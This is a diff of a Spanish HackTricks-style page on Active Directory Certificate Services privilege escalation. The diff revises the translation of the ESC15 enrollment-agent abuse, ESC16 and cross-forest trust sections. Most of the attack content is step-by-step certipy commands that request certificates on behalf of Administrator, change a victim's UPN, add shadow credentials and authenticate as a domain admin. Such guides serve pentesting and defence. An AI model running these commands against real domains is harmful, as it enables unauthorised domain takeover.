+**Paso 2: Autenticarse mediante Schannel (LDAPS) usando el certificado obtenido.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
-#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
+#### Escenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Paso 1: Solicitar un certificado de una plantilla V1 (con "El solicitante proporciona el sujeto"), inyectando la política de aplicación "Agente de Solicitud de Certificado".** Este certificado es para el atacante (`attacker@corp.local`) para convertirse en un agente de inscripción. No se especifica un UPN para la propia identidad del atacante aquí, ya que el objetivo es la capacidad de agente.
+**Paso 1: Solicitar un certificado desde una plantilla V1 (con "Enrollee supplies subject"), inyectando la Application Policy "Certificate Request Agent".** Este certificado es para que el atacante (`attacker@corp.local`) se convierta en un enrollment agent. No se especifica un UPN para la identidad del atacante aquí, ya que el objetivo es la capacidad de agente.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -789,7 +807,7 @@ certipy req \
 ```
 - `-application-policies 'Certificate Request Agent'`: Inyecta OID `1.3.6.1.4.1.311.20.2.1`.
 
-**Paso 2: Usa el certificado "agent" para solicitar un certificado en nombre de un usuario privilegiado objetivo.** Este es un paso similar a ESC3, utilizando el certificado del Paso 1 como el certificado agente.
+**Paso 2: Usa el certificado "agent" para solicitar un certificado en nombre de un usuario privilegiado objetivo.** Esto es un paso ESC3-like, usando el certificado del Paso 1 como el certificado agent.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -797,31 +815,31 @@ certipy req \
 -ca 'CORP-CA' -template 'User' \
 -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
 ```
-**Paso 3: Autenticarse como el usuario privilegiado utilizando el certificado "on-behalf-of".**
+**Paso 3: Autentícese como el usuario privilegiado usando el certificado "on-behalf-of".**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Extensión de Seguridad Desactivada en CA (Globalmente)-ESC16
+## Security Extension Disabled on CA (Globally)-ESC16
 
 ### Explicación
 
-**ESC16 (Elevación de Privilegios a través de la Falta de la Extensión szOID_NTDS_CA_SECURITY_EXT)** se refiere al escenario donde, si la configuración de AD CS no obliga la inclusión de la extensión **szOID_NTDS_CA_SECURITY_EXT** en todos los certificados, un atacante puede explotar esto al:
+**ESC16 (Elevación de privilegios por ausencia de la extensión szOID_NTDS_CA_SECURITY_EXT)** se refiere al escenario en el que, si la configuración de AD CS no obliga la inclusión de la extensión **szOID_NTDS_CA_SECURITY_EXT** en todos los certificados, un atacante puede explotarlo mediante:
 
-1. Solicitar un certificado **sin enlace SID**.
+1. Solicitar un certificado **sin SID binding**.
 
-2. Usar este certificado **para autenticarse como cualquier cuenta**, como suplantar una cuenta de alto privilegio (por ejemplo, un Administrador de Dominio).
+2. Usar este certificado **para autenticarse como cualquier cuenta**, por ejemplo, suplantando una cuenta de alto privilegio (p. ej., Domain Administrator).
 
-También puedes consultar este artículo para aprender más sobre el principio detallado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+También puedes consultar este artículo para aprender más sobre el principio detallado:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
 ### Abuso
 
-Lo siguiente se refiere a [este enlace](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Haz clic para ver métodos de uso más detallados.
+Lo siguiente hace referencia a [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), haz clic para ver métodos de uso más detallados.
 
-Para identificar si el entorno de Servicios de Certificados de Active Directory (AD CS) es vulnerable a **ESC16**
+Para identificar si el entorno de Active Directory Certificate Services (AD CS) es vulnerable a **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Paso 1: Leer el UPN inicial de la cuenta de la víctima (Opcional - para restauración).**
+**Paso 1: Leer el UPN inicial de la cuenta de la víctima (Opcional - para restauración).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -835,14 +853,14 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Paso 3: (Si es necesario) Obtén credenciales para la cuenta "víctima" (por ejemplo, a través de Shadow Credentials).**
+**Paso 3: (Si es necesario) Obtener credenciales para la cuenta "víctima" (p. ej., mediante Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Paso 4: Solicitar un certificado como el usuario "víctima" de _cualquier plantilla de autenticación de cliente adecuada_ (por ejemplo, "Usuario") en la CA vulnerable a ESC16.** Debido a que la CA es vulnerable a ESC16, omitirá automáticamente la extensión de seguridad SID del certificado emitido, independientemente de la configuración específica de la plantilla para esta extensión. Establezca la variable de entorno del caché de credenciales de Kerberos (comando de shell):
+**Paso 4: Solicite un certificado como el usuario "victim" desde _cualquier plantilla de client authentication adecuada_ (p. ej., "User") en la CA vulnerable a ESC16.** Debido a que la CA es vulnerable a ESC16, omitirá automáticamente la SID security extension del certificado emitido, independientemente de la configuración específica de la plantilla para esta extensión. Establezca la variable de entorno del caché de credenciales de Kerberos (comando de shell):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -853,7 +871,7 @@ certipy req \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
 ```
-**Paso 5: Revertir el UPN de la cuenta "víctima".**
+**Paso 5: Revertir el UPN de la cuenta "victim".**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -866,22 +884,24 @@ certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Comprometiendo Bosques con Certificados Explicados en Voz Pasiva
+## Compromiso de bosques con certificados explicado en voz pasiva
 
-### Ruptura de Confianzas de Bosque por CAs Comprometidos
+### Ruptura de trusts entre bosques por CAs comprometidas
 
-La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados para todos los usuarios en ambos, el bosque de recursos y los bosques de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque.
+La configuración para la **inscripción entre bosques** se facilita bastante. El **certificado root CA** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los **certificados de Enterprise CA** del bosque de recursos son **añadidos a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control completo** sobre todos los demás bosques para los que gestiona la PKI. Si esta CA fuese **comprometida por atacantes**, ellos podrían **forjar certificados para todos los usuarios** tanto del bosque de recursos como de los bosques de cuentas, rompiendo así la frontera de seguridad del bosque.
 
-### Privilegios de Inscripción Otorgados a Principales Extranjeros
+### Privilegios de inscripción otorgados a principales externas
 
-En entornos de múltiples bosques, se requiere precaución con respecto a las CAs Empresariales que **publican plantillas de certificados** que permiten a **Usuarios Autenticados o principales extranjeros** (usuarios/grupos externos al bosque al que pertenece la CA Empresarial) **derechos de inscripción y edición**.\
-Tras la autenticación a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Así, si un dominio posee una CA Empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. Del mismo modo, si **los derechos de inscripción son explícitamente otorgados a un principal extranjero por una plantilla**, se **crea una relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**.
+En entornos multi-bosque, se requiere precaución con respecto a las Enterprise CAs que **publican plantillas de certificados** que permiten a **Authenticated Users o principales externas** (usuarios/grupos externos al bosque al que pertenece la Enterprise CA) **derechos de inscripción y edición**.\
+Tras la autenticación a través de un trust, AD añade el **Authenticated Users SID** al token del usuario. Por tanto, si un dominio posee una Enterprise CA con una plantilla que **permite derechos de inscripción a Authenticated Users**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. De igual forma, si **los derechos de inscripción son explícitamente concedidos a un principal externo por una plantilla**, se **crea así una relación de control de acceso entre bosques (cross-forest access-control relationship)**, permitiendo que un principal de un bosque **se inscriba en una plantilla de otro bosque**.
 
-Ambos escenarios conducen a un **aumento en la superficie de ataque** de un bosque a otro. La configuración de la plantilla de certificado podría ser explotada por un atacante para obtener privilegios adicionales en un dominio extranjero.
+Ambos escenarios provocan un **aumento de la superficie de ataque** de un bosque a otro. Los ajustes de la plantilla de certificado podrían ser explotados por un atacante para obtener privilegios adicionales en un dominio externo.
 
 
 ## Referencias
 
 - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
+- [GhostPack/Certify](https://github.com/GhostPack/Certify)
+- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
 
 {{#include ../../../banners/hacktricks-training.md}}